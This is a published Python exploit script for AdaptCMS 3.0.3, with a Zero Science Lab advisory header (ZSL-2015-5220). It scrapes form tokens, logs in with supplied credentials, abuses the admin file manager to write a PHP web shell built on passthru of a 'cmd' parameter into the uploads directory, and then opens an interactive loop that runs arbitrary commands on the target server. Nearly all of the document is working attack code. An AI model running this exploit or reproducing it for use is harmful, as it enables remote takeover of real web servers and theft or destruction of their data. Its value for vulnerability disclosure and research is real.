AdaptCMS 3.0.3 Remote Command Execution

`#!/usr/bin/env python  
#  
#  
# AdaptCMS 3.0.3 Remote Command Execution Exploit  
#  
#  
# Vendor: Insane Visions  
# Product web page: http://www.adaptcms.com  
# Affected version: 3.0.3  
#  
# Summary: AdaptCMS is a Content Management System trying  
# to be both simple and easy to use, as well as very agile  
# and extendable. Not only so we can easily create Plugins   
# or additions, but so other developers can get involved.  
# Using CakePHP we are able to achieve this with a built-in  
# plugin system and MVC setup, allowing us to focus on the  
# details and end-users to focus on building their website  
# to look and feel great.  
#  
# Desc: AdaptCMS suffers from an authenticated arbitrary  
# command execution vulnerability. The issue is caused due  
# to the improper verification of uploaded files. This can  
# be exploited to execute arbitrary PHP code by creating  
# or uploading a malicious PHP script file that will be  
# stored in '\app\webroot\uploads' directory.  
#  
# Tested on: Apache 2.4.10 (Win32)  
# PHP 5.6.3  
# MySQL 5.6.21  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2015-5220  
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php  
#  
#  
# 29.12.2014  
#  
#  
  
  
import itertools, mimetools, mimetypes, os  
import cookielib, urllib, urllib2, sys, re  
  
from cStringIO import StringIO  
from urllib2 import URLError  
  
piton = os.path.basename(sys.argv[0])  
  
def bannerche():  
print """  
o==========================================o  
| |  
| AdaptCMS RCE Exploit |  
| |  
| ID:ZSL-2015-5220 |  
| o/ |  
+------------------------------------------+  
"""  
if len(sys.argv) < 3:  
print '\x20\x20[*] Usage: '+piton+' <hostname> <pathname>'  
print '\x20\x20[*] Example: '+piton+' zeroscience.mk adaptcms\n'  
sys.exit()  
  
bannerche()  
  
host = sys.argv[1]  
path = sys.argv[2]  
  
cj = cookielib.CookieJar()  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
  
try:  
gettokens = opener.open('http://'+host+'/'+path+'/login')  
except urllib2.HTTPError, errorzio:  
if errorzio.code == 404:  
print 'Path error.'  
sys.exit()  
except URLError, errorziocvaj:  
if errorziocvaj.reason:  
print 'Hostname error.'  
sys.exit()  
  
print '\x20\x20[*] Login please.'  
  
tokenfields = re.search('fields]" value="(.+?)" id=', gettokens.read()).group(1)  
gettokens = opener.open('http://'+host+'/'+path+'/login')  
tokenkey = re.search('key]" value="(.+?)" id=', gettokens.read()).group(1)  
  
username = raw_input('\x20\x20[*] Enter username: ')  
password = raw_input('\x20\x20[*] Enter password: ')  
  
login_data = urllib.urlencode({  
'_method' : 'POST',  
'data[User][username]' : username,  
'data[User][password]' : password,  
'data[_Token][fields]' : '864206fbf949830ca94401a65660278ae7d065b3%3A',  
'data[_Token][key]' : tokenkey,  
'data[_Token][unlocked]' : ''  
})  
  
login = opener.open('http://'+host+'/'+path+'/login', login_data)  
auth = login.read()  
for session in cj:  
sessid = session.name  
  
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))  
cookie = ses_chk.group(0)  
print '\x20\x20[*] Accessing...'  
  
upload = opener.open('http://'+host+'/'+path+'/admin/files/add')  
filetoken = re.search('key]" value="(.+?)" id=', upload.read()).group(1)  
  
class MultiPartForm(object):  
  
def __init__(self):  
self.form_fields = []  
self.files = []  
self.boundary = mimetools.choose_boundary()  
return  
  
def get_content_type(self):  
return 'multipart/form-data; boundary=%s' % self.boundary  
  
def add_field(self, name, value):  
self.form_fields.append((name, value))  
return  
  
def add_file(self, fieldname, filename, fileHandle, mimetype=None):  
body = fileHandle.read()  
if mimetype is None:  
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'  
self.files.append((fieldname, filename, mimetype, body))  
return  
  
def __str__(self):  
  
parts = []  
part_boundary = '--' + self.boundary  
  
parts.extend(  
[ part_boundary,  
'Content-Disposition: form-data; name="%s"' % name,  
'',  
value,  
]  
for name, value in self.form_fields  
)  
  
parts.extend(  
[ part_boundary,  
'Content-Disposition: file; name="%s"; filename="%s"' % \  
(field_name, filename),  
'Content-Type: %s' % content_type,  
'',  
body,  
]  
for field_name, filename, content_type, body in self.files  
)  
  
flattened = list(itertools.chain(*parts))  
flattened.append('--' + self.boundary + '--')  
flattened.append('')  
return '\r\n'.join(flattened)  
  
if __name__ == '__main__':  
  
form = MultiPartForm()  
form.add_field('_method', 'POST')  
form.add_field('data[_Token][key]', filetoken)  
form.add_field('data[File][type]', 'edit')  
form.add_field('data[0][File][filename]', '')  
form.add_field('data[0][File][dir]', 'uploads/')  
form.add_field('data[0][File][mimetype]', '')  
form.add_field('data[0][File][filesize]', '')  
form.add_field('data[File][content]', '<?php echo "<pre>"; passthru($_GET[\'cmd\']); echo "</pre>"; ?>')  
form.add_field('data[File][file_extension]', 'php')  
form.add_field('data[File][file_name]', 'thricer')  
form.add_field('data[File][caption]', 'THESHELL')  
form.add_field('data[File][dir]', 'uploads/')  
form.add_field('data[0][File][caption]', '')  
form.add_field('data[0][File][watermark]', '0')  
form.add_field('data[0][File][zoom]', 'C')  
form.add_field('data[File][resize_width]', '')  
form.add_field('data[File][resize_height]', '')  
form.add_field('data[0][File][random_filename]', '0')  
form.add_field('data[File][library]', '')  
form.add_field('data[_Token][fields]', '0e50b5f22866de5e6f3b959ace9768ea7a63ff3c%3A0.File.dir%7C0.File.filesize%7C0.File.mimetype%7CFile.dir')  
form.add_file('data[0][File][filename]', 'filename', fileHandle=StringIO(''))  
  
request = urllib2.Request('http://'+host+'/'+path+'/admin/files/add')  
request.add_header('User-agent', 'joxypoxy 6.0')  
body = str(form)  
request.add_header('Content-type', form.get_content_type())  
request.add_header('Cookie', cookie)  
request.add_header('Content-length', len(body))  
request.add_data(body)  
request.get_data()  
urllib2.urlopen(request).read()  
  
f_loc = '/uploads/thricer.php'  
print  
  
while True:  
try:  
cmd = raw_input('shell@'+host+':~# ')  
execute = opener.open('http://'+host+'/'+path+f_loc+'?cmd='+urllib.quote(cmd))  
reverse = execute.read()  
pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)  
cmdout = pattern.match(reverse)  
print cmdout.groups()[0].strip()  
print  
if cmd.strip() == 'exit':  
break  
except Exception:  
break  
  
print 'Session terminated.\n'  
  
sys.exit()  
`